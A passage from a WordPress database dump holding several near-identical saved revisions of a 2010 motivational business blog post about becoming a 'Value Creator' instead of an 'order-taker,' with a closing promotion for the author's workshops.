01:04:38', '<img class="alignnone size-full wp-image-1246" title="value-creator-pie" src="http://whc.fbdev.org/wp-content/uploads/2010/11/value-creator-pie.gif" alt="" width="500" height="330" />\r\n<h2>Creating marketplace demand for what you love to do rather than chasing after the demands of the marketplace is the key to sustaining your competitive advantage, increased prosperity, and life-long satisfaction.<strong> </strong></h2>\r\nWe live in an era of abundant choice. In fact customers have so much choice in the marketplace, they’re overwhelmed and numb. As an early-stage entrepreneur who desires to have more impact, influence and income, you’ve probably wrestled with many ideas on how best to increase the demand for your products and services. Many entrepreneurs I work with want solid answers to these questions:\r\n<h2><span style="color: #808080;">-  How do I separate my business or brand from the alternatives my customers have?</span></h2>\r\n<h2><span style="color: #808080;">-  How can I create greater demand for what I love to do?</span></h2>\r\n<h2><span style="color: #808080;">-  What can I do to influence a prospective customer’s decision to do business with me?</span></h2>\r\n<strong>Be a value creator as opposed to an order-taker.</strong>\r\nWhen you create real value for others first, you instantly expand your ability to influence demand for your products and services. You become a Value Creator. Orders-takers, on the other hand, are content to supply the existing demands of customers by offering them me-too products and services at the lowest price possible. Anytime customers have an abundant choice of alternatives to meet their needs, they set the price–reducing your impact and influence in the buyer’s mind, and your power in the buying cycle.  In a market with abundant choices, customers will view any stated price as too high!\r\n\r\nTo elevate your business from the fray of the competitive plane– where order-takers battle each other for business–your value proposition to the marketplace must be highly valued and radically differentiated from the abundance of alternatives bouncing around in your customer’s mind.\r\n\r\nTo be a Value Creator will require you to elevate your thinking and actions to the higher creative plane–where inspiration, innovation, potential and possibility fuel your passion to make a difference for people. Value creators view their business as a venue for this creative expression.  As a result, their customers and clients happily show their appreciation for the value they receive by paying the premium prices that funds their ability to continue to create ever-greater value in the marketplace.\r\n\r\nThink about it–which type of entrepreneur do you want to be?  When it comes to attracting opportunity, which one will command a bigger share of the pie? Here are five characteristics that all Value Creators possess. Do any of these resonate within you?\r\n\r\n<strong>Value Creators understand the principle of flow and infinite supply.</strong>\r\nValue Creators have a higher awareness of their own natural flow, their path of least resistance. They are amazingly efficient and do everything in an easy and relaxed manner. Value creators believe there is no shortage of supply.  Consequently they have an uncanny sense of clarity and confidence to identify and pursue their best opportunities.\r\n\r\nAt their core, value creators know who they are, what unique and highly valued talents and capabilities they possess, and how to apply these gifts to the marketplace in ways that influence a highly targeted tribe of like-minded people.  Value creators always begin with what’s at hand. They don’t wait for the visible supply to be favorable. They understand all value comes from raw ideas, born within their creative imagination, and energized into existence by their passion and perseverance to align and pursue what matters to them with serving the good of others.\r\n\r\n<strong>Value Creators are good and different.</strong>\r\nValue Creators represent something that is highly valued by customers and radically differentiated from available alternatives in the marketplace.  There is no room left for me-too anything. Value Creators are specialized providing deep and narrow expertise to build higher value relationships with customers. Being highly focused on what matters to their customers allows them to be trusted. As a result, they gather the momentum necessary to rapidly influence people and create ever-greater demand for their products and services.\r\n\r\n<strong>Value Creators are masters at leverage</strong>.\r\nValue Creators recognize the extraordinary power of collaboration, partnerships, and alliances with other types of people who are genius at helping them magnify their impact and influence in the marketplace.  Value Creators humbly begin everything they pursue with a couple of fish and three loaves of bread–then magnify their resources to feed the hungry multitudes. They understand leveraging the right skills, talents, resources, and the systems of others are absolutely essential for success– and are the force multipliers that create greater demand for their products and services.\r\n\r\n<strong>Value Creators are selective with their time and energy.</strong>\r\nValue Creators are highly selective. Value Creators spend all their time and energy focused only on their best opportunities. They say “no” more often than “yes”, and they elevate themselves from any task or complexity that involves procrastination. They know which customers or clients represent the highest-value relationships, and they place all their focus and attention on serving just those clients.  As a result, their business development initiatives produce an abundance of inbound inquiries from customers-to-be that are forming a line at their door.\r\n\r\n<strong>Value Creators play the game of life at the highest levels.</strong>\r\nValue Creators engage life with wonder, openness, optimism and passion. If life was a video game (as it very well might be), Value Creators are playing at the highest levels of mastery and know where all the extra lives and ammo is hidden.  Value Creators light the way for themselves and others simply by the “quality of their presence”.  Every expression of their presence in the world is a reflection of how they lead their own life.  Value Creators know all the Jedi mind tricks that influence people.\r\n\r\n<strong>If you want to increase your impact, influence and income, develop the discipline to embed a Value Creator consciousness into your creative thinking on a daily basis.  When you do, you’ll create more demand for your scene rather than having to settle for competing with a slush pile of order-takers who meet the low value demands of the status quo. Focus all your energy creating demand for what you love rather than chasing after the demands of the marketplace</strong><strong>.</strong>', 'Create marketplace demand rather than fulfill it. ', 0, '', 'inherit', 'open', 'open', '', '1245-revision-13', '', '', '2010-11-26 18:04:38', '2010-11-27 01:04:38', '', 1245, 'http://www.whitehotcenter.com/2010/11/26/1245-revision-13/', 0, 'revision', '', 0),
(1260, 2, '2010-11-26 18:04:47', '2010-11-27 01:04:47', '<img class="alignnone size-full wp-image-1246" title="value-creator-pie" src="http://whc.fbdev.org/wp-content/uploads/2010/11/value-creator-pie.gif" alt="" width="500" height="330" />\r\n<h2>Creating marketplace demand for what you love to do rather than chasing after the demands of the marketplace is the key to sustaining your competitive advantage, increased prosperity, and life-long satisfaction.<strong> </strong></h2>\r\nWe live in an era of abundant choice. In fact customers have so much choice in the marketplace, they’re overwhelmed and numb. As an early-stage entrepreneur who desires to have more impact, influence and income, you’ve probably wrestled with many ideas on how best to increase the demand for your products and services. Many entrepreneurs I work with want solid answers to these questions:\r\n<h2><span style="color: #808080;">-  How do I separate my business or brand from the alternatives my customers have?</span></h2>\r\n<h2><span style="color: #808080;">-  How can I create greater demand for what I love to do?</span></h2>\r\n<h2><span style="color: #808080;">-  What can I do to influence a prospective customer’s decision to do business with me?</span></h2>\r\n<strong>Be a value creator as opposed to an order-taker.</strong>\r\nWhen you create real value for others first, you instantly expand your ability to influence demand for your products and services. You become a Value Creator. Orders-takers, on the other hand, are content to supply the existing demands of customers by offering them me-too products and services at the lowest price possible. Anytime customers have an abundant choice of alternatives to meet their needs, they set the price–reducing your impact and influence in the buyer’s mind, and your power in the buying cycle.  In a market with abundant choices, customers will view any stated price as too high!\r\n\r\nTo elevate your business from the fray of the competitive plane– where order-takers battle each other for business–your value proposition to the marketplace must be highly valued and radically differentiated from the abundance of alternatives bouncing around in your customer’s mind.\r\n\r\nTo be a Value Creator will require you to elevate your thinking and actions to the higher creative plane–where inspiration, innovation, potential and possibility fuel your passion to make a difference for people. Value creators view their business as a venue for this creative expression.  As a result, their customers and clients happily show their appreciation for the value they receive by paying the premium prices that funds their ability to continue to create ever-greater value in the marketplace.\r\n\r\nThink about it–which type of entrepreneur do you want to be?  When it comes to attracting opportunity, which one will command a bigger share of the pie? Here are five characteristics that all Value Creators possess. Do any of these resonate within you?\r\n\r\n<strong>Value Creators understand the principle of flow and infinite supply.</strong>\r\nValue Creators have a higher awareness of their own natural flow, their path of least resistance. They are amazingly efficient and do everything in an easy and relaxed manner. Value creators believe there is no shortage of supply.  Consequently they have an uncanny sense of clarity and confidence to identify and pursue their best opportunities.\r\n\r\nAt their core, value creators know who they are, what unique and highly valued talents and capabilities they possess, and how to apply these gifts to the marketplace in ways that influence a highly targeted tribe of like-minded people.  Value creators always begin with what’s at hand. They don’t wait for the visible supply to be favorable. They understand all value comes from raw ideas, born within their creative imagination, and energized into existence by their passion and perseverance to align and pursue what matters to them with serving the good of others.\r\n\r\n<strong>Value Creators are good and different.</strong>\r\nValue Creators represent something that is highly valued by customers and radically differentiated from available alternatives in the marketplace.  There is no room left for me-too anything. Value Creators are specialized providing deep and narrow expertise to build higher value relationships with customers. Being highly focused on what matters to their customers allows them to be trusted. As a result, they gather the momentum necessary to rapidly influence people and create ever-greater demand for their products and services.\r\n\r\n<strong>Value Creators are masters at leverage</strong>.\r\nValue Creators recognize the extraordinary power of collaboration, partnerships, and alliances with other types of people who are genius at helping them magnify their impact and influence in the marketplace.  Value Creators humbly begin everything they pursue with a couple of fish and three loaves of bread–then magnify their resources to feed the hungry multitudes. They understand leveraging the right skills, talents, resources, and the systems of others are absolutely essential for success– and are the force multipliers that create greater demand for their products and services.\r\n\r\n<strong>Value Creators are selective with their time and energy.</strong>\r\nValue Creators are highly selective. Value Creators spend all their time and energy focused only on their best opportunities. They say “no” more often than “yes”, and they elevate themselves from any task or complexity that involves procrastination. They know which customers or clients represent the highest-value relationships, and they place all their focus and attention on serving just those clients.  As a result, their business development initiatives produce an abundance of inbound inquiries from customers-to-be that are forming a line at their door.\r\n\r\n<strong>Value Creators play the game of life at the highest levels.</strong>\r\nValue Creators engage life with wonder, openness, optimism and passion. If life was a video game (as it very well might be), Value Creators are playing at the highest levels of mastery and know where all the extra lives and ammo is hidden.  Value Creators light the way for themselves and others simply by the “quality of their presence”.  Every expression of their presence in the world is a reflection of how they lead their own life.  Value Creators know all the Jedi mind tricks that influence people.\r\n\r\n<strong>If you want to increase your impact, influence and income, develop the discipline to embed a Value Creator consciousness into your creative thinking on a daily basis.  When you do, you’ll create more demand for your scene rather than having to settle for competing with a slush pile of order-takers who meet the low value demands of the status quo. Focus all your energy creating demand for what you love rather than chasing after the demands of the marketplace</strong><strong>.</strong>', 'Create marketplace demand rather than fulfill it. ', 0, '', 'inherit', 'open', 'open', '', '1245-revision-14', '', '', '2010-11-26 18:04:47', '2010-11-27 01:04:47', '', 1245, 'http://www.whitehotcenter.com/2010/11/26/1245-revision-14/', 0, 'revision', '', 0),
(1261, 2, '2010-11-26 18:06:57', '2010-11-27 01:06:57', '<img class="alignnone size-full wp-image-1246" title="value-creator-pie" src="http://whc.fbdev.org/wp-content/uploads/2010/11/value-creator-pie.gif" alt="" width="500" height="330" />\r\n<h2>Creating marketplace demand for what you love to do rather than chasing after the demands of the marketplace is the key to sustaining your competitive advantage, increased prosperity, and life-long satisfaction.<strong> </strong></h2>\r\nWe live in an era of abundant choice. In fact customers have so much choice in the marketplace, they’re overwhelmed and numb. As an early-stage entrepreneur who desires to have more impact, influence and income, you’ve probably wrestled with many ideas on how best to increase the demand for your products and services. Many entrepreneurs I work with want solid answers to these questions:\r\n<h2><span style="color: #808080;">-  How do I separate my business or brand from the alternatives my customers have?</span></h2>\r\n<h2><span style="color: #808080;">-  How can I create greater demand for what I love to do?</span></h2>\r\n<h2><span style="color: #808080;">-  What can I do to influence a prospective customer’s decision to do business with me?</span></h2>\r\n<strong>Be a value creator as opposed to an order-taker.</strong>\r\nWhen you create real value for others first, you instantly expand your ability to influence demand for your products and services. You become a Value Creator. Orders-takers, on the other hand, are content to supply the existing demands of customers by offering them me-too products and services at the lowest price possible. Anytime customers have an abundant choice of alternatives to meet their needs, they set the price–reducing your impact and influence in the buyer’s mind, and your power in the buying cycle.  In a market with abundant choices, customers will view any stated price as too high!\r\n\r\nTo elevate your business from the fray of the competitive plane– where order-takers battle each other for business–your value proposition to the marketplace must be highly valued and radically differentiated from the abundance of alternatives bouncing around in your customer’s mind.\r\n<h2><span style="color: #888888;">To be a Value Creator will require you to elevate your thinking and actions to the higher creative plane–where inspiration, innovation, potential and possibility fuel your passion to make a difference for people.</span></h2>\r\nValue creators view their business as a venue for this creative expression.  As a result, their customers and clients happily show their appreciation for the value they receive by paying the premium prices that funds their ability to continue to create ever-greater value in the marketplace. Think about it–which type of entrepreneur do you want to be?  When it comes to attracting opportunity, which one will command a bigger share of the pie? Here are five characteristics that all Value Creators possess. Do any of these resonate within you?\r\n\r\n<strong>Value Creators understand the principle of flow and infinite supply.</strong>\r\nValue Creators have a higher awareness of their own natural flow, their path of least resistance. They are amazingly efficient and do everything in an easy and relaxed manner. Value creators believe there is no shortage of supply.  Consequently they have an uncanny sense of clarity and confidence to identify and pursue their best opportunities.\r\n\r\nAt their core, value creators know who they are, what unique and highly valued talents and capabilities they possess, and how to apply these gifts to the marketplace in ways that influence a highly targeted tribe of like-minded people.  Value creators always begin with what’s at hand. They don’t wait for the visible supply to be favorable. They understand all value comes from raw ideas, born within their creative imagination, and energized into existence by their passion and perseverance to align and pursue what matters to them with serving the good of others.\r\n\r\n<strong>Value Creators are good and different.</strong>\r\nValue Creators represent something that is highly valued by customers and radically differentiated from available alternatives in the marketplace.  There is no room left for me-too anything. Value Creators are specialized providing deep and narrow expertise to build higher value relationships with customers. Being highly focused on what matters to their customers allows them to be trusted. As a result, they gather the momentum necessary to rapidly influence people and create ever-greater demand for their products and services.\r\n\r\n<strong>Value Creators are masters at leverage</strong>.\r\nValue Creators recognize the extraordinary power of collaboration, partnerships, and alliances with other types of people who are genius at helping them magnify their impact and influence in the marketplace.  Value Creators humbly begin everything they pursue with a couple of fish and three loaves of bread–then magnify their resources to feed the hungry multitudes. They understand leveraging the right skills, talents, resources, and the systems of others are absolutely essential for success– and are the force multipliers that create greater demand for their products and services.\r\n\r\n<strong>Value Creators are selective with their time and energy.</strong>\r\nValue Creators are highly selective. Value Creators spend all their time and energy focused only on their best opportunities. They say “no” more often than “yes”, and they elevate themselves from any task or complexity that involves procrastination. They know which customers or clients represent the highest-value relationships, and they place all their focus and attention on serving just those clients.  As a result, their business development initiatives produce an abundance of inbound inquiries from customers-to-be that are forming a line at their door.\r\n\r\n<strong>Value Creators play the game of life at the highest levels.</strong>\r\nValue Creators engage life with wonder, openness, optimism and passion. If life was a video game (as it very well might be), Value Creators are playing at the highest levels of mastery and know where all the extra lives and ammo is hidden.  Value Creators light the way for themselves and others simply by the “quality of their presence”.  Every expression of their presence in the world is a reflection of how they lead their own life.  Value Creators know all the Jedi mind tricks that influence people.\r\n\r\n<strong>If you want to increase your impact, influence and income, develop the discipline to embed a Value Creator consciousness into your creative thinking on a daily basis.  When you do, you’ll create more demand for your scene rather than having to settle for competing with a slush pile of order-takers who meet the low value demands of the status quo. Focus all your energy creating demand for what you love rather than chasing after the demands of the marketplace</strong><strong>.</strong>', 'Create marketplace demand rather than fulfill it. ', 0, '', 'inherit', 'open', 'open', '', '1245-revision-15', '', '', '2010-11-26 18:06:57', '2010-11-27 01:06:57', '', 1245, 'http://www.whitehotcenter.com/2010/11/26/1245-revision-15/', 0, 'revision', '', 0),
(1262, 2, '2010-11-26 18:07:04', '2010-11-27 01:07:04', '<img class="alignnone size-full wp-image-1246" title="value-creator-pie" src="http://whc.fbdev.org/wp-content/uploads/2010/11/value-creator-pie.gif" alt="" width="500" height="330" />\r\n<h2>Creating marketplace demand for what you love to do rather than chasing after the demands of the marketplace is the key to sustaining your competitive advantage, increased prosperity, and life-long satisfaction.<strong> </strong></h2>\r\nWe live in an era of abundant choice. In fact customers have so much choice in the marketplace, they’re overwhelmed and numb. As an early-stage entrepreneur who desires to have more impact, influence and income, you’ve probably wrestled with many ideas on how best to increase the demand for your products and services. Many entrepreneurs I work with want solid answers to these questions:\r\n<h2><span style="color: #808080;">-  How do I separate my business or brand from the alternatives my customers have?</span></h2>\r\n<h2><span style="color: #808080;">-  How can I create greater demand for what I love to do?</span></h2>\r\n<h2><span style="color: #808080;">-  What can I do to influence a prospective customer’s decision to do business with me?</span></h2>\r\n<strong>Be a value creator as opposed to an order-taker.</strong>\r\nWhen you create real value for others first, you instantly expand your ability to influence demand for your products and services. You become a Value Creator. Orders-takers, on the other hand, are content to supply the existing demands of customers by offering them me-too products and services at the lowest price possible. Anytime customers have an abundant choice of alternatives to meet their needs, they set the price–reducing your impact and influence in the buyer’s mind, and your power in the buying cycle.  In a market with abundant choices, customers will view any stated price as too high!\r\n\r\nTo elevate your business from the fray of the competitive plane– where order-takers battle each other for business–your value proposition to the marketplace must be highly valued and radically differentiated from the abundance of alternatives bouncing around in your customer’s mind.\r\n<h2><span style="color: #888888;">To be a Value Creator will require you to elevate your thinking and actions to the higher creative plane–where inspiration, innovation, potential and possibility fuel your passion to make a difference for people.</span></h2>\r\nValue creators view their business as a venue for this creative expression.  As a result, their customers and clients happily show their appreciation for the value they receive by paying the premium prices that funds their ability to continue to create ever-greater value in the marketplace. Think about it–which type of entrepreneur do you want to be?  When it comes to attracting opportunity, which one will command a bigger share of the pie? Here are five characteristics that all Value Creators possess. Do any of these resonate within you?\r\n\r\n<strong>Value Creators understand the principle of flow and infinite supply.</strong>\r\nValue Creators have a higher awareness of their own natural flow, their path of least resistance. They are amazingly efficient and do everything in an easy and relaxed manner. Value creators believe there is no shortage of supply.  Consequently they have an uncanny sense of clarity and confidence to identify and pursue their best opportunities.\r\n\r\nAt their core, value creators know who they are, what unique and highly valued talents and capabilities they possess, and how to apply these gifts to the marketplace in ways that influence a highly targeted tribe of like-minded people.  Value creators always begin with what’s at hand. They don’t wait for the visible supply to be favorable. They understand all value comes from raw ideas, born within their creative imagination, and energized into existence by their passion and perseverance to align and pursue what matters to them with serving the good of others.\r\n\r\n<strong>Value Creators are good and different.</strong>\r\nValue Creators represent something that is highly valued by customers and radically differentiated from available alternatives in the marketplace.  There is no room left for me-too anything. Value Creators are specialized providing deep and narrow expertise to build higher value relationships with customers. Being highly focused on what matters to their customers allows them to be trusted. As a result, they gather the momentum necessary to rapidly influence people and create ever-greater demand for their products and services.\r\n\r\n<strong>Value Creators are masters at leverage</strong>.\r\nValue Creators recognize the extraordinary power of collaboration, partnerships, and alliances with other types of people who are genius at helping them magnify their impact and influence in the marketplace.  Value Creators humbly begin everything they pursue with a couple of fish and three loaves of bread–then magnify their resources to feed the hungry multitudes. They understand leveraging the right skills, talents, resources, and the systems of others are absolutely essential for success– and are the force multipliers that create greater demand for their products and services.\r\n\r\n<strong>Value Creators are selective with their time and energy.</strong>\r\nValue Creators are highly selective. Value Creators spend all their time and energy focused only on their best opportunities. They say “no” more often than “yes”, and they elevate themselves from any task or complexity that involves procrastination. They know which customers or clients represent the highest-value relationships, and they place all their focus and attention on serving just those clients.  As a result, their business development initiatives produce an abundance of inbound inquiries from customers-to-be that are forming a line at their door.\r\n\r\n<strong>Value Creators play the game of life at the highest levels.</strong>\r\nValue Creators engage life with wonder, openness, optimism and passion. If life was a video game (as it very well might be), Value Creators are playing at the highest levels of mastery and know where all the extra lives and ammo is hidden.  Value Creators light the way for themselves and others simply by the “quality of their presence”.  Every expression of their presence in the world is a reflection of how they lead their own life.  Value Creators know all the Jedi mind tricks that influence people.\r\n\r\n<strong>If you want to increase your impact, influence and income, develop the discipline to embed a Value Creator consciousness into your creative thinking on a daily basis.  When you do, you’ll create more demand for your scene rather than having to settle for competing with a slush pile of order-takers who meet the low value demands of the status quo. Focus all your energy creating demand for what you love rather than chasing after the demands of the marketplace</strong><strong>.</strong>', 'Create marketplace demand rather than fulfill it. ', 0, '', 'inherit', 'open', 'open', '', '1245-revision-16', '', '', '2010-11-26 18:07:04', '2010-11-27 01:07:04', '', 1245, 'http://www.whitehotcenter.com/2010/11/26/1245-revision-16/', 0, 'revision', '', 0),
(1263, 2, '2010-11-26 18:11:20', '2010-11-27 01:11:20', '<img class="alignnone size-full wp-image-1246" title="value-creator-pie" src="http://whc.fbdev.org/wp-content/uploads/2010/11/value-creator-pie.gif" alt="" width="500" height="330" />\r\n<h2>Creating marketplace demand for what you love to do rather than chasing after the demands of the marketplace is the key to sustaining your competitive advantage, increased prosperity, and life-long satisfaction.<strong> </strong></h2>\r\nWe live in an era of abundant choice. In fact customers have so much choice in the marketplace, they’re overwhelmed and numb. As an early-stage entrepreneur who desires to have more impact, influence and income, you’ve probably wrestled with many ideas on how best to increase the demand for your products and services. Many entrepreneurs I work with want solid answers to these questions:\r\n<h2><span style="color: #808080;">-  How do I separate my business or brand from the alternatives my customers have?</span></h2>\r\n<h2><span style="color: #808080;">-  How can I create greater demand for what I love to do?</span></h2>\r\n<h2><span style="color: #808080;">-  What can I do to influence a prospective customer’s decision to do business with me?</span></h2>\r\n<strong>Be a value creator as opposed to an order-taker.</strong>\r\nWhen you create real value for others first, you instantly expand your ability to influence demand for your products and services. You become a Value Creator. Orders-takers, on the other hand, are content to supply the existing demands of customers by offering them me-too products and services at the lowest price possible. Anytime customers have an abundant choice of alternatives to meet their needs, they set the price–reducing your impact and influence in the buyer’s mind, and your power in the buying cycle.  In a market with abundant choices, customers will view any stated price as too high!\r\n\r\nTo elevate your business from the fray of the competitive plane– where order-takers battle each other for business–your value proposition to the marketplace must be highly valued and radically differentiated from the abundance of alternatives bouncing around in your customer’s mind.\r\n<h2><span style="color: #888888;">To be a Value Creator will require you to elevate your thinking and actions to the higher creative plane–where inspiration, innovation, potential and possibility fuel your passion to make a difference for people.</span></h2>\r\nValue creators view their business as a venue for this creative expression.  As a result, their customers and clients happily show their appreciation for the value they receive by paying the premium prices that funds their ability to continue to create ever-greater value in the marketplace. Think about it–which type of entrepreneur do you want to be?  When it comes to attracting opportunity, which one will command a bigger share of the pie? Here are five characteristics that all Value Creators possess. Do any of these resonate within you?\r\n\r\n<strong>Value Creators understand the principle of flow and infinite supply.</strong>\r\nValue Creators have a higher awareness of their own natural flow, their path of least resistance. They are amazingly efficient and do everything in an easy and relaxed manner. Value creators believe there is no shortage of supply.  Consequently they have an uncanny sense of clarity and confidence to identify and pursue their best opportunities.\r\n\r\nAt their core, value creators know who they are, what unique and highly valued talents and capabilities they possess, and how to apply these gifts to the marketplace in ways that influence a highly targeted tribe of like-minded people.  Value creators always begin with what’s at hand. They don’t wait for the visible supply to be favorable. They understand all value comes from raw ideas, born within their creative imagination, and energized into existence by their passion and perseverance to align and pursue what matters to them with serving the good of others.\r\n\r\n<strong>Value Creators are good and different.</strong>\r\nValue Creators represent something that is highly valued by customers and radically differentiated from available alternatives in the marketplace.  There is no room left for me-too anything. Value Creators are specialized providing deep and narrow expertise to build higher value relationships with customers. Being highly focused on what matters to their customers allows them to be trusted. As a result, they gather the momentum necessary to rapidly influence people and create ever-greater demand for their products and services.\r\n\r\n<strong>Value Creators are masters at leverage</strong>.\r\nValue Creators recognize the extraordinary power of collaboration, partnerships, and alliances with other types of people who are genius at helping them magnify their impact and influence in the marketplace.  Value Creators humbly begin everything they pursue with a couple of fish and three loaves of bread–then magnify their resources to feed the hungry multitudes. They understand leveraging the right skills, talents, resources, and the systems of others are absolutely essential for success– and are the force multipliers that create greater demand for their products and services.\r\n\r\n<strong>Value Creators are selective with their time and energy.</strong>\r\nValue Creators are highly selective. Value Creators spend all their time and energy focused only on their best opportunities. They say “no” more often than “yes”, and they elevate themselves from any task or complexity that involves procrastination. They know which customers or clients represent the highest-value relationships, and they place all their focus and attention on serving just those clients.  As a result, their business development initiatives produce an abundance of inbound inquiries from customers-to-be that are forming a line at their door.\r\n\r\n<strong>Value Creators play the game of life at the highest levels.</strong>\r\nValue Creators engage life with wonder, openness, optimism and passion. If life was a video game (as it very well might be), Value Creators are playing at the highest levels of mastery and know where all the extra lives and ammo is hidden.  Value Creators light the way for themselves and others simply by the “quality of their presence”.  Every expression of their presence in the world is a reflection of how they lead their own life.  Value Creators know all the Jedi mind tricks that influence people.\r\n\r\n<strong>If you want to increase your impact, influence and income, develop the discipline to embed a Value Creator consciousness into your creative thinking on a daily basis.  When you do, you’ll create more demand for your scene rather than having to settle for competing with a slush pile of order-takers who meet the low value demands of the status quo. Focus all your energy creating demand for what you love rather than chasing after the demands of the marketplace</strong><strong>.</strong>\r\n\r\n<em>Editor’s Note: This post is a small taste of the concepts and ideas  we will engage ourselves in during a year-long series of four 2-day <a href="http://www.whcquantumleap.com" target="_blank">White Hot Center Quantum Leap Workshops</a> beginning in March 2011. Right from the beginning, you’ll have greater   clarity and confidence to define a compelling vision for your future–   and set the foundation to achieve your goal of taking your business to  the next level  in an easy, relaxed, and joyful way. If you are  interesting in  attending, <a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a> me directly, or <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">download</a> the pdf brochure for details!</em>', 'Create marketplace demand rather than fulfill it. ', 0, '', 'inherit', 'open', 'open', '', '1245-revision-17', '', '', '2010-11-26 18:11:20', '2010-11-27 01:11:20', '', 1245, 'http://www.whitehotcenter.com/2010/11/26/1245-revision-17/', 0, 'revision', '', 0),
(1264, 2, '2010-11-26 18:11:31', '2010-11-27 01:11:31', '<img class="alignnone size-full wp-image-1246" title="value-creator-pie" src="http://whc.fbdev.org/wp-content/uploads/2010/11/value-creator-pie.gif" alt="" width="500" height="330" />\r\n<h2>Creating marketplace demand for what you love to do rather than chasing after the demands of the marketplace is the key to sustaining your competitive advantage, increased prosperity, and life-long satisfaction.<strong> </strong></h2>\r\nWe live in an era of abundant choice. In fact customers have so much choice in the marketplace, they’re overwhelmed and numb. As an early-stage entrepreneur who desires to have more impact, influence and income, you’ve probably wrestled with many ideas on how best to increase the demand for your products and services. Many entrepreneurs I work with want solid answers to these questions:\r\n<h2><span style="color: #808080;">-  How do I separate my business or brand from the alternatives my customers have?</span></h2>\r\n<h2><span style="color: #808080;">-  How can I create greater demand for what I love to do?</span></h2>\r\n<h2><span style="color: #808080;">-  What can I do to influence a prospective customer’s decision to do business with me?</span></h2>\r\n<strong>Be a value creator as opposed to an order-taker.</strong>\r\nWhen you create real value for others first, you instantly expand your ability to influence demand for your products and services. You become a Value Creator. Orders-takers, on the other hand, are content to supply the existing demands of customers by offering them me-too products and services at the lowest price possible. Anytime customers have an abundant choice of alternatives to meet their needs, they set the price–reducing your impact and influence in the buyer’s mind, and your power in the buying cycle.  In a market with abundant choices, customers will view any stated price as too high!\r\n\r\nTo elevate your business from the fray of the competitive plane– where order-takers battle each other for business–your value proposition to the marketplace must be highly valued and radically differentiated from the abundance of alternatives bouncing around in your customer’s mind.\r\n<h2><span style="color: #888888;">To be a Value Creator will require you to elevate your thinking and actions to the higher creative plane–where inspiration, innovation, potential and possibility fuel your passion to make a difference for people.</span></h2>\r\nValue creators view their business as a venue for this creative expression.  As a result, their customers and clients happily show their appreciation for the value they receive by paying the premium prices that funds their ability to continue to create ever-greater value in the marketplace. Think about it–which type of entrepreneur do you want to be?  When it comes to attracting opportunity, which one will command a bigger share of the pie? Here are five characteristics that all Value Creators possess. Do any of these resonate within you?\r\n\r\n<strong>Value Creators understand the principle of flow and infinite supply.</strong>\r\nValue Creators have a higher awareness of their own natural flow, their path of least resistance. They are amazingly efficient and do everything in an easy and relaxed manner. Value creators believe there is no shortage of supply.  Consequently they have an uncanny sense of clarity and confidence to identify and pursue their best opportunities.\r\n\r\nAt their core, value creators know who they are, what unique and highly valued talents and capabilities they possess, and how to apply these gifts to the marketplace in ways that influence a highly targeted tribe of like-minded people.  Value creators always begin with what’s at hand. They don’t wait for the visible supply to be favorable. They understand all value comes from raw ideas, born within their creative imagination, and energized into existence by their passion and perseverance to align and pursue what matters to them with serving the good of others.\r\n\r\n<strong>Value Creators are good and different.</strong>\r\nValue Creators represent something that is highly valued by customers and radically differentiated from available alternatives in the marketplace.  There is no room left for me-too anything. Value Creators are specialized providing deep and narrow expertise to build higher value relationships with customers. Being highly focused on what matters to their customers allows them to be trusted. As a result, they gather the momentum necessary to rapidly influence people and create ever-greater demand for their products and services.\r\n\r\n<strong>Value Creators are masters at leverage</strong>.\r\nValue Creators recognize the extraordinary power of collaboration, partnerships, and alliances with other types of people who are genius at helping them magnify their impact and influence in the marketplace.  Value Creators humbly begin everything they pursue with a couple of fish and three loaves of bread–then magnify their resources to feed the hungry multitudes. They understand leveraging the right skills, talents, resources, and the systems of others are absolutely essential for success– and are the force multipliers that create greater demand for their products and services.\r\n\r\n<strong>Value Creators are selective with their time and energy.</strong>\r\nValue Creators are highly selective. Value Creators spend all their time and energy focused only on their best opportunities. They say “no” more often than “yes”, and they elevate themselves from any task or complexity that involves procrastination. They know which customers or clients represent the highest-value relationships, and they place all their focus and attention on serving just those clients.  As a result, their business development initiatives produce an abundance of inbound inquiries from customers-to-be that are forming a line at their door.\r\n\r\n<strong>Value Creators play the game of life at the highest levels.</strong>\r\nValue Creators engage life with wonder, openness, optimism and passion. If life was a video game (as it very well might be), Value Creators are playing at the highest levels of mastery and know where all the extra lives and ammo is hidden.  Value Creators light the way for themselves and others simply by the “quality of their presence”.  Every expression of their presence in the world is a reflection of how they lead their own life.  Value Creators know all the Jedi mind tricks that influence people.\r\n\r\n<strong>If you want to increase your impact, influence and income, develop the discipline to embed a Value Creator consciousness into your creative thinking on a daily basis.  When you do, you’ll create more demand for your scene rather than having to settle for competing with a slush pile of order-takers who meet the low value demands of the status quo. Focus all your energy creating demand for what you love rather than chasing after the demands of the marketplace</strong><strong>.</strong>\r\n\r\n<em>Editor’s Note: This post is a small taste of the concepts and ideas  we will engage ourselves in during a year-long series of four 2-day <a href="http://www.whcquantumleap.com" target="_blank">White Hot Center Quantum Leap Workshops</a> beginning in March 2011. Right from the beginning, you’ll have greater   clarity and confidence to define a compelling vision for your future–   and set the foundation to achieve your goal of taking your business to  the next level  in an easy, relaxed, and joyful way. If you are  interesting in  attending, <a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a> me directly, or <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">download</a> the pdf brochure for details!</em>', 'Create marketplace demand rather than fulfill it. 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(1265, 2, '2010-11-26 18:13:06', '2010-11-27 01:13:06', '<img class="alignnone size-full wp-image-1246" title="value-creator-pie" src="http://whc.fbdev.org/wp-content/uploads/2010/11/value-creator-pie.gif" alt="" width="500" height="330" />\r\n<h2>Creating marketplace demand for what you love to do rather than chasing after the demands of the marketplace is the key to sustaining your competitive advantage, increased prosperity, and life-long satisfaction.<strong> </strong></h2>\r\nWe live in an era of abundant choice. In fact customers have so much choice in the marketplace, they’re overwhelmed and numb. As an early-stage entrepreneur who desires to have more impact, influence and income, you’ve probably wrestled with many ideas on how best to increase the demand for your products and services. Many entrepreneurs I work with want solid answers to these questions:\r\n<h2><span style="color: #808080;">-  How do I separate my business or brand from the alternatives my customers have?</span></h2>\r\n<h2><span style="color: #808080;">-  How can I create greater demand for what I love to do?</span></h2>\r\n<h2><span style="color: #808080;">-  What can I do to influence a prospective customer’s decision to do business with me?</span></h2>\r\n<strong>Be a value creator as opposed to an order-taker.</strong>\r\nWhen you create real value for others first, you instantly expand your ability to influence demand for your 